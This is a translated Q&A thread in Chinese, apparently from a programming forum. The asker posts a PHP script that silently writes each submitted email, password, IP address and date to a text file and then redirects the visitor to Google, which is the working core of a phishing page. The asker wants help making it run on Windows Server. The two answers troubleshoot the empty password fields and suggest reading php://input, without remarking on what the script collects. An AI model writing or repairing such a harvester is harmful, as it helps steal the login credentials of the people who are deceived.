我之前在linux机器上使用过这个脚本,我知道它可以工作,但是当我在新的Windows Server 2003服务器上使用它时,它不起作用。在过去,我通过将文件chmodding到777解决了这个问题,但你无法在Windows上执行此操作。
这是代码:
<?php
header("Location:http://google.com");
$handle = fopen("list.txt", "a");
$ip = $_SERVER["REMOTE_ADDR"];
{
fwrite($handle, "Email = ". $_POST['box1']."\n");
fwrite($handle, "Password = ".$_POST['box2']."\n");
fwrite($handle, "Ip address = ". $ip ."\n");
fwrite($handle, "Date = ". date('Y-m-d') . "\n\n");
}
fclose($handle);
?>
它为box1和box2数据输出一个空白,但它仍然将IP和日期记录到.txt文件中。建议好吗?
答案 0 :(得分:0)
显然,变量$_POST['box1']
和$_POST['box2']
未设置或设置为空字符串。然后将其保存到文件中。
PHP实际上对变量非常严格,它只会采用它们的值而不是那里的预期值,但实际上只是在那里。
监控请求并验证提交的数据,以便验证您是否使用了正确的变量。
答案 1 :(得分:0)
也许你的$ _POST是空的?
由于编码类型的问题,我已经看到了这一点 - 然后阅读file_get_contents是一个很好的解决方案。
$postData = file_get_contents('php://input');
如果探测器是$ _POST为空或其他不好的话,那就可以回答这个问题了。